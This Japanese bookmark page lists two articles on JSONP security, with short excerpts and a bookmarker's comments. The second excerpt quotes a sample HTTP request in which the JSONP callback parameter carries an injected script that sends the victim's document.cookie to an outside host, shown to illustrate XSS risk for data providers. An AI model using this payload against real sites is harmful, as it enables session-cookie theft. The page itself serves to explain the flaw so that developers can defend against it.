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javaScriptとJSONPとsecurityに関するtsupoのブックマーク (2)

  • [気になる]JSONPの守り方

    XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで連載では、そのようなメジャーなもの“以外”も掘り下げていきます (編集部) JSONPだって、セキュリティを気にしてほしい 皆さんこんにちは、はせがわようすけです。今回は、JSONPを使用する場合のセキュリティについて解説しましょう。 JSONPとは、JSON with Paddingの名称が示しているとおり、JSON形式のデータにコールバック関数の呼び出しのためのコードを付加することで、クロスドメインでデータの受け渡しを実現するためのデータ形式です。JavaScriptからクロスドメインでのデータが簡単に扱えることなどを理由に、多数のWebアプリケーションでAPIの一部としてJSONP形式でデータの提供が行われています。 具体的な例を見

    [気になる]JSONPの守り方
    tsupo
    tsupo 2009/08/11
    「JSONPだって、セキュリティを気にしてほしい」 / JSONPによって提供されるデータは Same Origin Policyの制約を受けないことによる諸々
  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

    tsupo
    tsupo 2007/01/13
    インクルードされる側のリスク
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